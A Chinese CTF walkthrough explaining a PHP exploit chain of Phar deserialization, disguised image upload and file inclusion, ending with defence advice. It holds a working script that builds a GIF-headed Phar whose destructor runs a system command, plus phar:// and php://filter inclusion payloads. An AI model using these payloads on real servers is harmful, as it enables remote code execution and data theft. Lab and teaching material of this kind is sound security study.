CTF实战精讲:Phar反序列化+文件上传+文件包含 组合漏洞利用
一、漏洞场景概述
本次复现的是CTF中经典的Phar反序列化+文件上传+文件包含组合漏洞场景,也是各大赛事、靶场的高频题型。整个漏洞链路依托三个核心漏洞相互配合,突破服务器防护,最终实现代码执行、读取Flag。
靶场核心功能与漏洞前置条件:
-
存在图片上传功能:服务器仅校验后缀名/文件头,允许gif等图片格式上传,无严格内容校验;
-
存在文件包含漏洞:页面存在file参数文件包含点,支持伪协议解析;
-
存在Phar反序列化触发条件:站点存在
file_exists()、is_file()等文件操作函数,这类函数原生支持phar://伪协议,解析Phar文件时会自动触发MetaData中的反序列化操作。
漏洞核心逻辑:伪装Phar文件为图片上传至服务器 → 通过文件包含漏洞调用phar://协议解析文件 → 触发Phar包内恶意序列化代码执行,获取权限及Flag。
二、漏洞原理核心解析
2.1 Phar文件特性
Phar是PHP的归档文件格式,类似于压缩包,可将多个文件打包归档。其最核心的漏洞特性是:Phar文件的MetaData数据会被自动序列化存储,当PHP通过文件操作函数、phar协议解析Phar文件时,会自动对MetaData内容进行反序列化。
该特性是Phar反序列化漏洞的核心,无需依赖unserialize()函数,即可触发反序列化。
2.2 组合漏洞利用逻辑
单独的Phar反序列化漏洞利用门槛较高,需要满足文件可控、协议可解析等条件,而结合文件上传+文件包含可完美打通利用链路:
-
文件上传:绕过图片校验,将恶意Phar文件伪装为GIF图片上传至服务器,实现恶意文件落地;
-
文件包含:利用file参数漏洞,调用
phar://伪协议读取已上传的恶意文件; -
Phar反序列化:解析文件时自动反序列化MetaData中的恶意对象,触发魔术方法,执行任意代码。
三、完整漏洞复现步骤
3.1 环境前置配置
生成Phar文件必须修改PHP配置,否则会生成失败:
打开php.ini,找到参数:
phar.readonly = Off
默认状态为On,开启只读模式,无法自定义生成Phar包,必须关闭该限制。修改后重启PHP环境生效。
3.2 构造恶意Phar伪装文件
我们需要构造一个带GIF文件头、包含恶意序列化数据的Phar文件,后缀改为.gif绕过上传校验。新建evil.php生成脚本,代码如下:
<?php // 定义恶意类,利用析构函数触发代码执行 class Evil { // 脚本销毁时自动触发__destruct魔术方法 public function __destruct() { // 读取Flag,可根据靶场环境修改执行代码 system('cat /flag'); // 备选:读取本地Flag文件 // echo file_get_contents('flag.php'); } } // 清除旧文件,避免冲突 @unlink('evil.phar'); // 创建Phar归档文件 $phar = new Phar('evil.phar'); $phar->startBuffering(); // 构造GIF89a文件头,绕过图片文件头校验 $stub = "GIF89a<?php __HALT_COMPILER(); ?>"; $phar->setStub($stub); // 实例化恶意对象,存入Phar元数据(自动序列化) $evil_obj = new Evil(); $phar->setMetadata($evil_obj); // Phar包必须包含至少一个文件,否则无法正常解析触发漏洞 $phar->addFromString('demo.txt', 'test'); // 结束缓存,生成Phar文件 $phar->stopBuffering(); // 重命名为gif图片,完成伪装 rename('evil.phar', 'evil.gif'); echo "恶意Phar图片文件生成成功!文件名:evil.gif"; ?>
在PHP环境中执行脚本:
php evil.php
执行后生成的evil.gif具备双重属性:
-
合法GIF图片:携带GIF89a文件头,可绕过图片上传校验;
-
合法Phar归档包:包含恶意序列化数据,可被phar协议解析触发漏洞。
3.3 上传恶意文件至靶场
进入靶场图片上传页面,选择生成的evil.gif进行上传。上传成功后,记录服务器返回的文件绝对路径/相对路径,常见路径如:/upload/evil.gif、./upload/evil.gif,该路径是后续Payload的核心参数,必须保证完全一致。
3.4 构造Payload触发漏洞
利用靶场文件包含漏洞,结合phar://伪协议解析恶意文件,触发反序列化。提供两种通用Payload,适配不同靶场限制场景。
方式一:基础phar协议Payload(通用90%场景)
无需额外伪协议,直接调用phar协议读取包内文件,自动触发反序列化:
?file=phar://upload/evil.gif/demo.txt
参数说明:
-
phar://upload/evil.gif:服务器中恶意图片的存储路径; -
/demo.txt:Phar包内自带的文件,必须填写存在的文件,否则解析失败无法触发漏洞。
方式二:结合php://filter伪协议(适配特殊限制场景)
部分靶场限制仅允许php://filter协议,可组合双协议使用:
?file=php://filter/read=convert.base64-encode/resource=phar://upload/evil.gif/demo.txt
3.5 获取Flag
访问构造好的漏洞URL,PHP会自动解析Phar文件,反序列化MetaData中的恶意对象,脚本执行完毕触发__destruct()魔术方法,运行系统命令读取Flag,页面直接输出靶场Flag值。
四、高频踩坑总结(避坑必看)
该组合漏洞利用失败,99%是以下问题,实操时优先排查:
-
Phar只读限制未关闭:
phar.readonly = On会导致无法生成恶意Phar文件,是最常见报错原因; -
缺少GIF文件头:靶场开启文件头校验时,无GIF89a标识会直接拦截上传文件;
-
Phar包无内置文件:Phar协议解析必须指定包内存在的文件,空包无法触发反序列化;
-
文件路径不匹配:部分靶场会随机重命名上传文件,需以上传成功后返回的真实路径为准,不可自定义路径;
-
PHP版本限制:Phar反序列化漏洞适用于PHP5.3+主流版本,老旧版本无该特性。
五、漏洞防御思路
针对该组合漏洞,可从三个维度进行防御:
-
文件上传防御:禁止用户上传可解析的归档文件,严格校验文件后缀、文件头、文件内容,对上传文件进行重命名,禁止存储可控路径;
-
文件包含防御:禁用危险伪协议(phar://、php://等),对file参数做白名单过滤,禁止用户自定义文件路径;
-
环境配置防御:线上环境默认开启
phar.readonly = On,禁止生成Phar文件,从源头杜绝漏洞利用。
六、总结
Phar反序列化+文件上传+文件包含是CTF Web中极具代表性的组合漏洞,核心思路就是文件落地-协议解析-魔术方法触发执行。掌握该漏洞的利用逻辑,不仅可以应对各类CTF赛事题型,也能深入理解PHP伪协议、反序列化漏洞的底层原理,对Web安全学习有极大帮助。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐



所有评论(0)